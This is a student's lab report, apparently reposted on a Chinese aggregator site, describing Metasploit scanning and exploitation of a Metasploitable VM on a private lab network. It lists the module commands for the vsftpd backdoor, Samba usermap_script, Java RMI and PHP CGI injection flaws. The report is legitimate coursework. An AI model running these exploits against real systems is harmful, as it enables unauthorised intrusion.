20222318 2024-2025-1 《网络与系统攻防技术》实验六实验报告

news/2024/11/19 23:04:46/文章来源:https://www.cnblogs.com/Keitaro726/p/18555571

1.实验内容

1.1 实验要求

掌握Metasploit的使用方法:“Search——Use——Show——Set——Exploit/run”。

1.2 实验任务

(1)前期渗透

(2)Vsftpd源码包后门漏洞(21端口)

(3)SambaMS-RPC Shell命令注入漏洞(端口139)

(4)Java RMI SERVER命令执行漏洞(1099端口)

(5)PHP CGI参数执行注入漏洞(80端口)

1.3 本周学习内容

本周就是在周五就已经被测试折磨得学会了metasploit,虽然最终因为各种原因没做出来,但是还是了解了整个过程以及原理,掌握了搜索对应漏洞,再通过show options来找出自己需要填的参数的万能方法(好吧也并不万能,如果受害机打了补丁修复了漏洞就无能为力了)。

2.实验过程

2.1 前期渗透

(1)主机发现(可用Aux中的arp_sweep,search一下就可以use)

在Kali中依次输入如下命令。

  • msfconsole //进入msf控制台

  • search arp_sweep //搜寻arp_sweep功能模块

  • use 0 //在查询结果中使用第0项模块(也可以将0换成具体模块名字)

  • show options //查找该模块目前已填入的参数(同时可以看到需要填写的参数)

可以看到必填项只剩RHOST没填,所以我们只需要去靶机查询IP地址,设置参数即可。

在靶机下载官网可知道登录靶机用户名和密码均为“msfadmin”,进入靶机。

在靶机中输入 ipconfig

再返回Kali输入如下命令。

  • set RHOSTS 192.168.197.148/24 //设置目标主机IP地址

  • run //开始扫描

可能是由于写了子网掩码,扫描的其实是目标网段。可能命令里IP地址应该是一个网段。

不过不管怎样,在扫描结果中找到了靶机。

(2)端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

输入exit退出msf控制台。在命令行中直接使用指令:

nmap -p 1-2318 192.168.197.148 //扫描靶机的1-2318端口。

可以在截图中看到开放的端口。

(3)漏洞扫描。

接着使用nmap -script=vuln 192.168.197.148对靶机进行漏洞扫描。

可以看到靶机中存在相当多漏洞。在图片信息中提取出本次实验要用到的21、139、1099、80端口的开放信息以及漏洞信息。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

在Kali中进入msf控制台,输入如下命令:

  • use exploit/unix/ftp/vsftpd_234_backdoor //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

再利用uname –apwdidifconfig等命令进行验证是否攻击成功

可以看到已经获取靶机shell,攻击成功。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

在msf控制台中,输入如下命令:

  • use exploit/multi/samba/usermap_script //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

再利用ifconfig命令进行验证是否攻击成功,可以看到攻击成功了。

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

在msf控制台中,输入如下命令:

  • use exploit/multi/misc/java_rmi_server //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

  • ifconfig //验证攻击是否成功

可以看到攻击成功了(其实没有)。

不知道为什么无法打开shell呢。但是又可以输入其他一些命令,看起来好像取得了部分控制权一样。

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在msf控制台中,输入如下命令:

  • use exploit/multi/http/php_cgi_arg_injection //选择漏洞

  • set RHOST 192.168.197.148 //设置要攻击的机器IP(靶机IP)

  • exploit/run //开始攻击

  • shell //尝试打开靶机shell

😦 为什么还是打不开。感觉和我的kali版本有关吧(闭目),因为之前重装kali时下的是什么purple版。

3.问题及解决方案

执行第4个和第5个任务时无法执行shell命令。

解决过程:

1.尝试用sudo apt-get install --only-upgrade metasploit-framework更新metasploit,已经是最新版了。无效
2.了解为什么shell命令是非法参数,第一步类型错误试过了,不奏效。

于是进行第二步,看是不是默认设置的payload不适用。

更改payload后,仍然无效。

遂无法解决问题。(偷看了一眼其他同学的实验报告,全部都看一遍了,好像没出现过我这个问题。。😦)

4.学习感悟、思考等

这次实验其实和周四周五那个作业差不多,但是这次更简单,因为老师已经提前给出所有需要用的命令了,又因为周四周五拷打完已经熟悉了metasploit的流程,所以这次做起来还挺轻松的。(除了执行shell命令并不顺利以外)。好吧,网络攻防复现的过程总是会伴随着各种奇奇怪怪的问题,我已经习以为常,锻炼了个好心态!T T毕竟对我来说更重要的是了解原理,而且通过亲身实践去熟悉这个过程,无法完美复现也没办法啦,尽力就好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/837048.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

atrace带ftrace数据如何转换成ftrace内容

第一种方法使用这个转换成ftrace数据 第二种方法 是的,systrace --from-file 是一种方便的方法,用于处理已经生成的 trace 文件(比如 systrace.html 或其他格式),包括提取或转换数据。以下是如何使用 systrace --from-file 来尝试转换为 ftrace 的详细方法。1. 什么是 sys…

10.7

Java有try-catch-finally的异常处理机制,包括以下几种情况:1、不抛出异常,try里面的代码、finally里面的代码、finally以后的代码都将正常执行,而catch里面的代码不会执行。2、抛出异常且被catch捕获,try里面的代码部分执行,catch里面的代码、finally里面的代码、finally…

排错:New-Object : 找不到类型 [Microsoft.Online.Administration.StrongAuthenticationRequirement]

前言今天,真的是被PowerShell坑的不要不要的!故事就不分享了,大家看看这个错误和解决方法吧。正文错误信息New-Object : 找不到类型 [Microsoft.Online.Administration.StrongAuthenticationRequirement]: 请确认加载了包含该类型的程序 集。 所在位置 行:1 字符: 8 + $SAR …

Github快速搭建个人/组织网站

最近课题组要建网站,记录一下速通流程。follow本流程你可以快速获得一个个人或组织的网站首页,部署在github的服务器上,完全免费。 预备工具 ke xue上网,从而登github 本地安装git 步骤 1 在自己的github账户建立空repo,必须命名为USRNAME.github.io (USRNAME是你的githu…

类和对象案例

第一道1.先写一个手机类,将属性和行为全部写完2,再写一个手机测试类,将其成员变量赋值 并不是只有测试类才能写main,其他类也可以有main,只不过代码会很臃肿,测试就用测试,不要把main写在其他类里总览第二道1.先写一个书类2.再写一个书测试类,将其成员变量赋值总览提供…

学习笔记(三十九):默认界面扫码

基本概念 默认界面扫码能力提供系统级体验一致的扫码界面,Scan Kit对系统相机权限进行了预授权,调用接口时,无需开发者再次申请相机权限。 适用于不同扫码场景的应用开发 场景介绍 默认界面扫码能力提供了系统级体验一致的扫码界面以及相册扫码入口,支持单码和多码识别,支…

网卡-国家码

交互大屏、笔记本等产品出口海外,也是网络相关设备,会发出AP热点网络,所以出口海外要符合当地法规。 大屏需要以自带网卡开出本地热点,用于投屏、设备间协同等操作。热点这块受限影响的是信道,每个国家都有雷达信道以及其它军事等受限信道,使用信道时避开这些雷达信道。…

人工智能之机器学习基础——K-Means

K-Means 是一种无监督学习算法,用于将数据划分为 KKK 个簇(Clusters),使得每个簇中的样本尽可能接近其簇中心,簇之间尽可能远离。K-Means 常用于聚类分析,例如客户分群、图像分割等任务。

2643: 鼠鼠的薪水 while

include <bits/stdc++.h> using namespace std; int maxx, a, b, c; int main( ) { cin >> a; b=10; c=3; while(b!=a) { if (c1||c2) { b+=7; } b--; c++; c%=7; maxx++; } cout << maxx; } 反思: while(b<a) 做错,正确为: while(b!=a)